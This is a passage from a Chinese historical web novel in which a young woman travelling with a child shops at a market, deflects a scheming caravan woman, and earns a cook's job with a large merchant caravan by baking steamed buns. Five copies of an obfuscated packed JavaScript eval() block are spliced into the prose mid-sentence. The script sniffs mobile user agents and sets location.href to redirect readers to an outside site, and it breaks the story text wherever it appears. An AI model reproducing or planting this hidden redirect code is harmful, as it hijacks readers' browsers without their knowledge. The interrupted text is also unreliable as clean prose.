林芜让林景躺到床榻里侧后，从包袱拿出那三尺粗布垫在旅店的衾被下，才在他旁边躺下，盖上被子。 这是他们离开山洞后的第一个夜晚。身下的草席有些扎人，空气中陌生的气味，耳畔隔墙传来的各种声响，都让两人一时难以入眠。 林景在黑暗中悄悄转过身，面向着林芜的方向，小小的身体蜷缩着。 —— 次日，天色还未透亮，林芜便醒了。 她昨夜睡得很浅，在这鱼龙混杂之地，一颗心始终悬着。薄薄的墙壁几乎不隔音，隔壁的鼾声响了整整一夜。 她这边刚有动静，林景也跟着睁开了眼睛。小孩眼圈下带着淡淡的青影，圆溜溜的眼睛里有些血丝，显然也被这陌生的环境和声响搅得未能安眠。 “天还早，我去弄些吃的，你再睡会儿。”林芜轻声说。 林景却摇了摇头，小手紧紧抓住她的衣角，默默跟着她下了床。经历了昨日的奔波与这不安的一夜，他显得格外黏人。 林芜将所有家当重新捆扎好，背在身上。这房间没有单独的锁，一把锁钥至少需百文，脚店绝无可能提供。人若离开，仅靠门闩并不保险，是以出门将所有细软随身带走，在这里倒也寻常。 清晨的脚店还算安静，多数住客还未起身。不过柜台前已有个年轻伙计在值守，大门也已经敞开。 “客官，起这般早啊？”伙计见她下楼，热情地招呼了一声。 “是哩，”林芜微微颔首，语气温和，“怕晚些灶房人多拥挤，便想早些起来，给孩子煮些热乎吃食。” “客官有所不知，店里大灶只能热现成餐食，不单独提供柴火。您若要自煮，得另算柴火钱和水钱。”伙计说着，打量了一下她母子二人，“看您二位，用量不大，一日算您五文柴火钱，再加一桶清水一文钱，尽够了。” “劳烦小哥先帮忙备下木柴和清水，我这就去集市买些菜回来，再向您取用。”林芜客气回道。 她牵着林景走出脚店。 街道已有不少行人往来，两侧的食摊陆续支起灶火，食物香气弥漫。 两人一路行至集市。但因时间还算早，早市还不算热闹。地上摆了些摊子，陆续有村民挑来新鲜菜蔬。 林芜在一个看着干净利落的菜摊前停下。摊主是位手脚麻利的大娘，除了摆着些水灵灵的菘菜、野菜，还有一篮个头匀称的鸡蛋。 “大娘，这鸡子怎么卖？”林芜问道。 “娘子好眼力，”大娘热情回道，“两文钱三个，都是自家养的鸡下的，个头大着呢！您要是买得多，还能算便宜些。” “哪敢买多，”林芜脸上露出窘迫的苦笑，“也就是心疼孩子，偶尔买一两个给他补补身子。我买六个，您送我把野菜，再搭一小块姜成不成？” “哎哟！娘子您这还价可真狠，才买六个就要添头，我这小本生意哪经得起呀。”大娘连连摆手。 一番拉锯之后，林芜最终用五文钱买下了五个鸡蛋、一把菘菜，大娘则额外送了一小块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849696|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜和一小撮小葱。 林芜将菘菜塞进林景背着的小束口袋里，让他提着。 “我们待会儿用这个煮粥喝。”她一边解释着，一边牵起他的手，脚步不停地走向旁边卖土陶器皿的杂货摊。 摊主是个满脸皱纹的老丈，正拖长了调子，声音洪亮地招揽客人：“瞧一瞧——看一看嘞！自家窑里出的好陶器，煲汤煮粥不透水，耐用着呢！” 林芜在杂货摊前蹲下，拿起一个中号的提梁陶罐：“阿翁，这个罐子怎么卖？” 老丈瞧她面嫩，笑眯眯举起两只手，左边伸出两个手指，右边张开手掌：“小娘子好眼光！这罐子胎体厚实，有提梁有盖，最是方便，只要二十五文。” 林芜闻言，将陶罐放回原处，摇了摇头：“阿翁，这也太贵了。西头瓷器摊上，一个瓷瓜楞盖罐也不过三十文。”她说着便作势要起身离开。当朝陶瓷业发达，这类日常器皿价格不会昂贵。 老丈连忙叫住：“哎，小娘子且慢！唉，您再看看，我这罐子可比那瓷瓜楞的个头大上几圈哩！看您诚心要，二十二文，最低了！还附送一个结实的麻绳网兜，提着走路不烫手！” 他见林芜神色不动，又赶紧指着旁边的碗筷补充：“您再看看这素陶碗，胎厚结实，一个算您三文便可，多实惠！” 林芜依旧摇头，最终以二十文的价格买下了那个陶罐，老丈也依言附赠了网兜。 接着，他们来到了旁边的木器摊前。林芜早已想好了，此去路途遥远，陶碗虽便宜却笨重易碎，万一磕碰，钱便白花了。木碗虽稍贵，却胜在轻便牢靠，长远来看更为划算。 她仔细挑选，最后买了两双木筷、一大两小三个木勺、一大一小两个木碗，还买了两个光滑坚实的黄皮葫芦用来装水。 至此，吃饭饮水的家伙算是置办齐全了。 林芜又绕到卖鲜活水产的摊子，花三文钱买了一小捧活蹦乱跳的小青虾，打算给粥添些荤腥。 17. 第 17 章 回到脚店，天光已大亮。 找小二哥要了柴火和清水，便往灶房走去。灶房里也已有人影在忙碌。 “娘子起得这般早？”说话的是个四五十岁的妇人，身着深色粗布短衣，头发已见花白，嘴边有颗醒目的痦子。她正麻利地剥着菘菜，那菜叶子瞧着已经蔫巴发黄。 “我怕晚了灶房人多，想着早些煮些吃食给孩子，”林芜把手中的束口袋和新买的陶罐放下，“大娘您也早。” “哎，咱们小门小户的，比不得大商号，好几个厨娘伺候，”大娘朝锅里努努嘴，“就几口人，都是走了好几趟的熟面孔，他们的脾胃我清楚，得紧着他们的口味做些扎实的。” 她说话时，目光扫过林芜手上的东西，在看到那捧小青虾和几个鸡子后，扯出个热络的笑：“哟，娘子这准备的可真细致。” 林芜不动声色，一边用清水仔细冲洗新买的陶罐和木碗，一边温和应答：“孩子还小，昨日奔波得狠了，脸色都差了。好不容易安稳些，总得顾着点身子。” 她用木碗盛了水，放入几片干薄荷，与林景一起简单漱了口。 随后，她将一部分水烧开，晾温后灌入两个葫芦里，接着便开始煮粥。 她先往罐中加入淘洗好的米和水，又将两颗洗干净的鸡子一起放入罐中同煮。待粥滚开，调入少许盐，放入剥壳洗净的小青虾和剪得细细的姜丝，盖上盖子用小火慢焖。 片刻后，她在碗中磕入一颗鸡子，用筷子搅散后，将蛋液缓缓滑入滚粥中，罐中瞬间形成漂亮的蛋花，最后撒入一把剪碎的菘菜叶，用勺子轻轻搅动。浓稠的粥伴着蛋花、虾仁和菘菜，散发出诱人的香气。 那大娘一边搅和着自己锅里那点稀薄的菜粥，一边忍不住又瞅过来，咂咂嘴道：“娘子这一罐粥，料可真足！瞧着就香。” 林芜手持木勺继续搅着，抬头露出一个无奈的浅笑：“大娘见笑了。我们娘俩就这一个罐子，柴火也得省着用，只好把这一天的吃食并作一锅煮了，图个方便省事。” “娘子这是打哪儿来啊？”大娘一边往她那锅稀薄的菜粥底下塞着柴火，一边搭话。 “暂在此处落脚，打算去凌州寻亲哩。”林芜拿出木勺，给罐子盖上盖子后，将仍烫热的陶罐小心装入网兜。 一听“凌州”二字，大娘眼睛一亮，猛地一拍大腿：“哎呀！这可真是有缘！巧了不是，咱们商队也正是要往凌州去哩！那条路我们走过好几趟，熟得很！娘子定了跟哪家的队伍走没？” “还没定哩，”林芜用桶里最后那点水洗干净木勺和碗筷后，提起沉甸甸的陶罐，“只想仔细寻个厚道稳妥的，慢些倒无妨。大娘，孩子饿得慌，我们先回房用饭了。” “哎，好，慢走啊。”大娘挥了挥手，目光却不由地又黏在那香气四溢的陶罐上。 林芜刚踏出灶房门，便见小二哥掀帘子走了进来。 “多谢小二哥备的柴火和水，份量都刚刚好，劳您费心了。”她客气地道了声谢。 “那是！”小二哥神气地扬起下巴，颇为自得，“咱这双眼，一看一个准儿！” 他话音刚落，瞥见那痦子大娘正往灶膛里添柴，脸色立刻沉了下来：“哎！大娘！跟您说过多少回了，我们这是小本经营，柴火也是要钱买的！您怎么又用我们大灶的柴火！” “哎呀呀！瞧你这小气劲儿！”大娘立刻拔高了声调，挥舞着手里那根细柴，“我就用了这么几根！我们这一大锅粥差点儿火候，不就借你几根应应急……” 在小二哥与大娘的争论声中，林芜和林景两人悄无声息地回到他们的客房。 林芜将仍陶罐小心放在桌上，又把行囊安置妥当后，才在桌前落座。 她为两人各盛了一大碗粥。粥还冒着热气，黄澄澄的米粥里，嫩绿的菘菜叶、粉白的虾仁与细嫩的蛋花交织，色泽诱人，香气随着热气直往鼻子里钻。 林芜吹了吹气，送了一勺入口。粥米熬得恰到好处，顺滑温润。米粒的甘甜、虾的鲜味与蛋香完美融合，几缕姜丝带来的微辛恰到好处，一股暖意顺着喉咙滑下，驱散了秋晨的凉意，也熨帖了连日的疲惫与紧张。 “好吃！”林景学着她的样子，用小小的木勺舀着粥，小口小口地吃着，温热美味的食物让他满足地眯起了眼睛。 “趁现在安稳，咱们多吃些好的，”林芜语气温和，“等上了路，风餐露宿、挨饿受冻怕是常事。如今能补一点是一点，把精神气力养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849697|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足。” 吃了粥，腹中妥帖。林芜将煮好的鸡子捞出，一人分了一个。林景有样学样，在小桌边磕破蛋壳，仔细地剥起来。 林芜则一边剥着蛋壳，一边清点着他们寥寥无几的行装。 他们如今只有身上这身衣裳，还需去估衣铺买一身换洗。还得添置一块油布，万一路遇大雨，好歹能遮一遮。干粮倒可以等商队确定后再采买，以免久放不鲜。 一床薄被也是必需的，所幸如今夜晚不算寒凉，多穿件衣裳便能抵过，否则一床厚衾被就会占去大半个包袱空间。 用完朝食，又洗净碗勺回来后，她拿起昨日买的粗麻布，开始缝制头巾。 路上风沙尘土难免，头巾既能护住头脸，多少也能遮掩些面容。 她手下针线不停，千头万绪，此刻最要紧的，仍是寻到一个根基稳妥、领头厚道的商队。这才是她们能否平安抵达凌州的关键。 这般思量着，林芜缝完头巾，嘱咐林景一声后，便轻手轻脚地出了房门，打算去柜台跟掌柜探听一下有无新消息。 不料还未走近，便听见那痦子大娘响亮的嗓门。只见她正倚在柜台边，同掌柜说着话。 “掌柜的，您瞧她们就一位年轻女娘，拖着个不懂事的小娘子，这模样瞧着就让人悬心呐。这路上不太平，尤其是对无依无靠的妇道人家，里头有多少凶险，老身我走南闯北，可是清楚得很。”痦子大娘满脸忧色，声音不算大，只不过脚店小，林芜出了房门便隐约能听见了。 掌柜神色平淡，只顾低头拨弄算盘，并未接话。 “我瞧着那女娘也是个不知柴米贵的，”痦子大娘话锋一转，“一大清早，就煮了满满一罐子稠粥，又是鸡子又是鲜虾的，看得人眼花。也就是老身见识多，不稀罕她那点吃食。可这要是在路上，她这般不知遮掩地露富，岂不是明摆着招人惦记？” 林芜脚步倏地停住，隐在廊柱后面，心下明了，这话里话外说的正是自己。 “说来也是缘分，咱们商队正好也去凌州。若是能捎带上她们娘俩，也算是积德行善一桩好事了，”痦子大娘语气变得热切起来，“就是不知道那女娘的来历是否清楚……掌柜的您慧眼如炬，必定是心里有数的。” 18. 第 18 章 “咱们店做的正经生意，住店的客官自然都是妥当的。”掌柜头也不抬，语气毫无波澜，笔尖在账册上划动。 “有您这句话我便放心了，不知道那女娘住哪间房，老身过去跟她说一声。我瞧着她早上还为没寻到商队忧愁哩，这可真是巧合的好事。” “这不妥，”掌柜这回抬了头，“店里的规矩，不能随意透露客官的客房。本店只管住宿，不管牵线搭桥的营生。” “哎哟！掌柜的您这话可就不中听了，”痦子大娘立刻拔高了声调，“什么营生不营生的，咱们这是发善心！您瞧瞧她们孤儿寡母，哪个正经商队愿意捎带？也就是老身心软，看不得人受苦，回头还得去跟领队费多少口舌说道呢！” 林芜听到此处，不再逗留，悄无声息地退回了走廊。没曾想，只是煮了一锅稍显丰盛的粥，便立刻引来了惦记。 这等小商队，人员混杂，根基浅薄，为了多赚几个铜钱，自然不会细查公凭。他们乐得捎带孤身上路的旅客，尤其是像她这般看似手头宽松的，只不过……怕是也存了让她接济全队的心思，那点干粮银钱，一旦入了队，恐怕就由不得自己了。 她回到房中静待了片刻，侧耳细听外间动静，直到那痦子大娘高亢的嗓音逐渐远去，方才再次出门，走向柜台。 “掌柜安好，”她语气温和，直接道明来意，“不知这附近，除了店里，还有何处能打听到往来商队的消息？我想多寻摸几个路子，心里也好有个比较。” 掌柜抬眼看了看她，语气平淡：“客官有所不知，往来咱们乌仓县的商队本就不多，且多是些小门小户。这小商队手头通常不甚宽裕，愿意捎带您母女一程倒非难事，只是……” 说到这里，她顿了顿，继续低头打着算盘：“这些小商队，多半是同乡同族，或是沾亲带故的一大家子人。” 林芜心领神会，微微颔首：“多谢掌柜提醒。” 她自然明白，在商言商，那些将仁义善心挂在嘴边的小商队未必真靠得住。 “门口往右走，过两个铺面，街角设有一处告示栏。有些商队会在那儿张贴招工的告示，许是有去凌州的，您不妨去碰碰运气。”掌柜难得又多说了两句。 “多谢掌柜指点。”林芜诚恳道谢后，便依言出了脚店。 按照指引，她很快找到了那处告示栏。 栏上零零散散贴着些泛黄的纸张，前往凌州的商队信息确实有几条，想来是因为凌州乃州府，离这里又不远，两地商贸往来还算得上频繁。只是细看之下，多是招募运货的力夫、驾车的把式或是各类工匠。更何况，她这两眼一抹黑的，也瞧不出商队的好赖。 “嘿，这位娘子，也来这儿找活计？”旁边一个身材高大的年轻汉子瞧见她驻足细看，操着大嗓门好奇地问了一句，声音洪亮，将专注看告示的林芜惊得微微一颤。 林芜露出一丝窘迫的笑意：“小哥见笑了。我只是想看看有没有些洗衣、帮厨的零活，能帮补些家用。听人说这儿商队招工的信息多，只是……我不识字，可否劳烦小哥帮忙瞧瞧？” “嗐！哪个不厚道的给您指这儿来了？”那高大汉子闻言爽朗一笑，指着告示栏道，“这儿贴的，十张有九张都是要出大力的苦活计，哪是寻常妇人能做的？” “你莫要胡说，”旁边走来一个瞧着机灵的年轻后生插嘴道，“商队远行，自然也招厨娘、帮佣，只是不常贴出来罢了。” “嘿，就你懂！你识得几个字就在这儿充明白人？”高大汉子被驳了面子，不服气地回嘴。 那后生也不恼，笑嘻嘻地一拍胸脯：“我虽不识字，可我认识的人多，城里城外的消息都灵通！就比方说昨日才到的锦程行，那可是鼎鼎大名的方家商队，他们就在寻厨娘！听闻队里原本的两位厨娘都染了风寒，一时上不了路。他们人多，缺了掌勺的可不行，这才想着在本地临时寻两个顶上。” “嚯，锦程行？”高大汉子顿时来了兴趣，“他们这回去哪儿？若是短途，啃几天干粮也就对付过去了，何至于专门招厨娘？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849698|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这您就外行了吧！”后生得意地一扬下巴，“他们这趟去凌州，虽说路程不过七八日，可那是锦程行！虽规矩多，但也宽厚，工钱结得爽快，从不克扣。跟着他们，路上也能吃口热乎饭食。” “是哩，”高大汉子搓了搓手，语气热切起来，“他们这几日还招工不？若能寻些锦程行的临时活计，也是极好的。” “招的哩，听闻这两日要招些临时力夫搬货。” “那敢情好！我可得去瞧瞧！” 一旁的林芜心里一喜，也连忙问道：“听二位小哥这么说，这倒是个厚道的商队？可太好了。只是……那厨娘的活计，莫非得跟着商队远行？” “娘子这就不懂了吧，”机灵后生热心解释道，“招厨娘就是为了路上给大伙儿做饭食，自然得跟着商队一块儿走去凌州啊！像我们，只是这两日去扛货，是不跟队的。” “那可真是巧了！”林芜脸上露出庆幸神色，“妇人正要去凌州寻亲哩！还请问小哥，可知这锦程行在何处招工？妇人想去问问那厨娘的活计。” “招工的地方啊……”机灵后生挠了挠头，想了想，“他们包下了西街那边的顺来车马行后院整顿货物，估摸着就在那儿招人。娘子去那儿问问准没错！” “多谢二位小哥！真是帮了大忙了！”林芜连声道谢，心中已有了盘算。 —— “掌柜的，我打听到锦程行商队正在招厨娘，真是多亏您先前指点，”林芜返回脚店，步履轻快地来到柜台前，语气里带感激与急切，“我这便想去西街车马行那边瞧瞧。只是孩子一个人留在房里，我实在放心不下，能否劳烦您帮忙照看一二？” “行，你去吧，”掌柜头也没抬，爽快应承，这在脚店是常有的事，“让你家小娘待在房里莫乱跑，若真有事，让她来柜台寻我。” “多谢掌柜！”林芜诚心道谢后，立刻转身上楼。 回到房间，她仔细交待好林景，又将门再次掩好，这才匆匆往西街赶去。 19. 第 19 章 越靠近顺来车马行，周遭便越是喧闹。锦程行商队货物众多，力夫们吆喝着来回搬运，还有不少小贩趁机在周边支起摊子卖些简单吃食，人声鼎沸。 林芜刚靠近车马行外围，还未及寻找招工之处，手臂便被人从旁一把拉住。 “诶！娘子，巧啊！”那痦子大娘的大嗓门在她耳边响起，语气带着一股儿亲热劲儿，“你怎的一个人？你家那小娘子呢？不是老身多管闲事，孩子还那般小，你咋能丢下她一个人出来？”她一边说，一边用探究的目光上下打量着林芜。 林芜眉头微不可察地蹙了一下，脸上依旧是那副温和模样：“大娘，真是巧了。您怎么也到这边来了？” “这儿热闹呗，过来瞧瞧。”大娘语气中带着点炫耀道，“况且，咱们商队跟这锦程行也是老相识了，此番同去凌州，过来打个招呼。你可别瞧咱们队伍不大，咱们领队在这条线上，那也是有名有姓的人物！” 她说着，手上用力，又将林芜往人少处拉了拉，压低声音：“正好碰上你了，有桩好事！我瞧你还没找着商队吧？咱们领队心善，我跟他说说，捎上你们娘俩一道走！” “多谢大娘好意，”林芜面露难色，苦笑着轻轻将手抽了回来，“也不怕您笑话，我手头实在不宽裕，万万是支不起搭队钱的。便想着过来碰碰运气，看看有没有商队需要帮工，我用手艺抵些个路费。” 痦子大娘眼珠一转，立刻推心置腹道：“哎哟，我的傻娘子！你这就不懂行了。这大商队的搭队钱，起码是这个数！”说着，她伸出几个手指胡乱比划了一下。 “你哪能负担得起？再说了，行商路上多辛苦，哪有那么多轻省活计留给妇人？你还带着个孩子，更是累赘。也就是咱们小商队，规矩少，人情味重，捎带一两个人也行。我是看你们孤儿寡母可怜，才舍下脸皮去求领队。咱们也不多要你的，从这儿到凌州七八日路程，人吃马嚼、护卫车夫哪样不要钱？我们只收你个本钱，够实惠了！那锦程行大门大户的，规矩大，价钱更是吓死人！” 她见林芜似在犹豫，又一把抓住她的手腕，语重心长：“而且啊，你们孤儿寡母，混在那几百号人的大商队里，人多眼杂，万一出点什么事，谁管你？咱们队里都是熟人，有老有少，更能体谅你的难处，相互也有个照应。” “大娘，您句句在理，也都是为我着想，”林芜微微用力将手抽回来，语气温和，“正因如此，我才更不能麻烦您和领队了。我方才听闻这锦程行商队正招厨娘，我自觉还有些灶上手艺，便想能不能靠这个……” “原来你是为这个来的！”痦子大娘不等她说完便急切打断，“这我可得给你泼盆冷水了。那锦程行是大商队，管事的舌头刁钻着呢！厨娘的活计要求高，这两日来应聘的厨娘好几个了，都没入他们的眼！” 她说着，身体前倾，声音压得极低：“再说，这等大商队查公凭查得最是严苛。我瞧你……怕是拿不出那东西吧？” 林芜心头一紧，脸上却笑容依旧：“多谢大娘提点。只是我手头实在紧巴，别无他法，只能硬着头皮去试试。若能应聘上，是老天爷赏饭吃；若不能，也不过是白跑一趟，没什么损失。” 那痦子大娘却像是全然没听见她的推拒，自顾自地压低声音：“你这没公凭的，哪家正经商队敢捎你？你是不懂这里头的厉害！我看你们孤儿寡母实在可怜，这才想着帮你一把。到时候，我就跟领队说，你是我一门远房亲戚，想来领队看在我的面子上，也不会过于为难……” “大娘，”林芜打断她，懒得再跟她费口舌，“您瞧这周围，来往的车夫、力夫，还有您自己，恐怕大半也拿不出那张纸吧？你们能走，我为何不能？” 她目光平静地看着对方瞬间僵住的脸色，继续道：“您若是再这般嚷嚷得人尽皆知，把那边巡街的官差引来，恐怕咱们谁都走不成。你们的商队说不定还得因这‘无凭行商’的罪名，进去吃几天牢饭。我倒还好，总归是这县里的乡民，没有公凭，大不了回家去。可您……不是本地人吧？” 痦子大娘猛地甩开林芜的手，怒目圆睁，压着嗓子斥道：“好你个牙尖嘴利的女娘！真是不识好歹！”她心虚地左右瞟了一眼，果然看见远处有几个官差的身影，顿时不敢再多纠缠，恨恨地一跺脚，转身匆匆钻进人群里走了。 终于把人打发走，林芜心下松了口气。 她定了定神，继续观察。只见有几个妇人正往车马行后院走去，那处门口设了一张桌案，一位穿着干净长衫、管事模样的中年男子端坐其后，正执笔在册子上记录着。 林芜不动声色地跟了过去，排在一名身穿灰蓝袄子的妇人身后。 “老爷，请问贵商队此处是否招厨娘？”前面的蓝袄妇人开口问道。 “是招厨娘，”张管事抬起头，目光审视，“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849699|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过话先说在前头，我们东家嘴刁，寻常手艺可入不了眼。若非如此，也不必特意在此招人，买些干粮路上对付便是了。” “老爷放心，”蓝袄妇人并不露怯，言语间颇有底气，“妇人曾在城里的酒楼帮厨过两年，掌勺大师傅忙不过来时，也常让妇人搭手做些炒炖的活计。在村里，谁家办红白喜事，也常请我去掌勺。” “我们这趟是去凌州，只捎你过去，回程你得自己设法。不过若手艺确实好，工钱不会短了你的。”张管事继续说明。 “妇人省得。我家大姊早年嫁去凌州，多年未见，此次正好顺路去探亲，也能省下一趟车马钱。” “嗯。有公凭吗？” “回老爷，此趟出门实在匆忙，没来得及回村开具公凭，”蓝袄妇人面露歉意，但语气不慌，“不过妇人确是本县李家坳村民，这附近不少人都认得我，身家是清白的。” 张管事上下打量了她几眼，便朝旁边候着的一个小伙计挥了挥手：“带她进去，试试灶上的手艺。” 那妇人便跟着伙计往后院去了。 轮到林芜，她上前一步，微微垂首：“老爷，妇人也是来应聘厨娘的。” “你会些什么？”张管事照例问道，笔尖悬在册子上方。 “回老爷，”林芜声音柔和，带着几分拘谨，“妇人擅长做些精细面食，馒头、兜子、各样饼子都会做一些。因家中孩子年幼，肠胃弱，故而做得格外细致些。”她只提面食，不提那些复杂的菜肴。一个寻常村妇若说自己精通山珍海味，却没个缘由，反倒惹人生疑。 “行，规矩想必你也听到了，我就不重复了，”张管事见她身后还有妇人在排队，不愿多费唇舌，直接摆了摆手，对旁边的伙计吩咐，“都带进去试试手艺。仔细看着点，别糟践了食材。” 林芜跟在几个妇人身后，被一个小伙计引到了灶房。 她环顾了一圈。灶台干净，食材分门别类地摆开，有常见的菘菜、芦菔等菜蔬，也有羊肉、整鸡此类鲜肉，甚至还有不少调味料，可见商队对吃食颇为上心，并非敷衍。 几个同来的妇人眼神热切，专挑那稀罕的肉和油。 她默不作声地挪到角落，只取了普通白面、一小块羊肉并几样葱姜调料。 林芜打定主意，只做馒头。 此时的馒头，其实就是包子，是有馅儿的，既有荤馅儿，也有素馅儿。 20. 第 20 章 林芜扎好袖子，洗净手后，便开始和面，直至面团变得光滑柔韧，盖上湿布静置醒发。趁着发面间隙，她便去处理馅料。 当下的荤馅馒头已经做得十分精细，多是羊肉馅儿的，加的东西也不少，除了羊肉和调料，还喜欢添些松子仁、杏仁。林芜倒是不喜欢，这让她感觉像在吃五仁包子，失了肉的本味。所以她便没有加，而是做馅料扎实、肉香纯粹的鲜肉包。 倒是一旁小筐里的栗子，让她心头微动。这东西山间常见，也不惹眼。她默默取了一些，煮熟了仔细剥出黄澄澄的栗仁，再用木勺碾碎，拌入些沙糖做了些甜馅儿。 此时面团也已发好，蓬松柔软。她将面团重新揉匀，分出一个个大小均匀的剂子，擀成中间厚、边缘薄的面皮。舀馅、包捏、收口一气呵成，捏出的褶子细密匀称。很快，一个个白白胖胖的馒头便整齐列在案上。 等她这边蒸笼上汽，香气弥散开时，其他妇人大多已做完，端着各自餐食出去了，灶房只剩她一人守着火候。 “哟，这馒头蒸得可真俊！”方才引路的小伙计折返进来查看情况，瞧着出笼的包子便赞了一句，随即又问，“怎么这几个还带着黄点儿？” “带黄点儿的是栗子馅儿的，甜口的，做个记号免得混淆。”林芜一边收拾灶台，一边回道。 “甜的？”那小伙计诧异地多瞧了她一眼。他跟着商队走南闯北，荤素馒头见得多，这用栗子做馅的甜馒头倒是头一回见。他心下称奇，却也没再多问，端起盛满包子的食盘，快步走了出去。 小伙计端着包子进了一间客房。 “唉，那两个厨娘早不病晚不病，偏在这节骨眼上一齐病倒，”张管事见人进来，叹了口气，对小伙计抱怨，“这小地方，想找个手艺过得去的厨娘也难。方才送来的几样，也就那蓝袄妇人做的肉鲊和炉焙鸡，还能勉强入口。” “张叔，要我说，咱们干脆多买些干粮路上对付得了！左右也就七八日的路程，”小伙计一边将那盘馒头放在桌案上，一边嘟囔，“这些临时找来的妇人，能做出什么花样？无非是些家里常见的粗笨饭食。她们眼界窄，家中又不宽裕，哪比得上专靠手艺吃饭的食摊摊主？” “你我能吃干粮，难道也让东家跟着咱们啃冷硬的饼子？”张管事睨了他一眼后，视线移到刚端来的馒头上，“嗯，这馒头倒是有几分卖相，瞧着挺暄软。” 他说着伸手拿起一个，指尖传来的绵软触感让他略感意外：“不错，确实松软，面发得极好。” “入口绵和，肉馅也调得鲜香得当。”他低头咬了一口后，连连点头赞道。这馒头与寻常追求精细、爱加各色果仁的荤馅馒头不同，馅料扎实，肉汁丰盈，配上吸饱了肉汁的松软面皮，反倒给人一种朴实而满足的痛快感。 “真有这么好吃？”小伙计也将信将疑地拿起一个，咬下一大口后，他咀嚼的动作顿了一下，紧接着没再说话，而是埋头一口接一口。 三下五除二便将整个馒头吞下了肚，他才抹了抹嘴，由衷赞道：“香！实在香！张叔，我跟着商队也算吃过不少好东西，这么对胃口的荤馒头，还是头一回！” 这时，张管事又尝了那个点了黄点的馒头，只一口，脸上便露出些许惊讶：“这竟是甜馅儿的？” “妙极！”细细品味后，他不由得赞叹，“这甜馅儿倒是别出心裁，栗仁馅儿甜得恰到好处，绵软润口，竟觉得它本该就是这个味道。” 栗子天然的甘甜与绵密口感在口中化开，没有半点涩口，只有温和的甜香。 小伙计见状，也好奇地伸手想去拿那甜馒头。 张管事眼疾手快，“啪”地一下轻拍在他手背上：“馋嘴的东西！这得给东家留着。” “张叔，”小伙计缩回手，涎着脸笑道，“东家还在旅舍呢，等拿回去早就凉了，风味大减。咱们不如干脆雇了那妇人，路上还怕没得吃？”他心里打着小算盘，还想再吃一个。 “哼，别以为我不知道你肚里那点弯绕。这馒头放灶上温着，差人去旅舍拿那保温食盒过来装回去。”东家素喜甜食，这甜馒头应当合他口味。 小伙计离开后，张管事端起装着余下几个馒头的盘子回到灶房。 见林芜仍垂手安静地等在角落，他神色温和地招呼道：“这位娘子，好手艺。这馒头做得甚好，尤其是那甜口的，别具匠心。” 林芜神色惊喜，连忙说道：“多谢老爷夸赞。您过誉了，不过是家中小儿挑嘴，平日只好多琢磨些她肯入口的软和食儿，登不得大雅之堂。” “一片慈心，便是好手艺。”张管事温和道，将手中端着的餐盘递过去，“还得劳烦娘子，将这几个温着，稍后我们一并给东家送去。” 林芜双手接过，依言将馒头放回尚有余温的蒸笼里。 “不知……这结果何时能知晓？”她有些忐忑地问道。 “娘子放心，你这般好手艺，能来我们商队是求之不得。”张管事答道。他作为商队的管事，负责打理途中一应杂务，雇佣个把临时厨娘这等小事，权限还是有的，无需事事禀报东家。 “多谢老爷！”林芜连声道谢。 她踌躇片刻后又说：“只是……还有一事，需向老爷禀明，望您莫怪。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849700|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哦？但说无妨。” 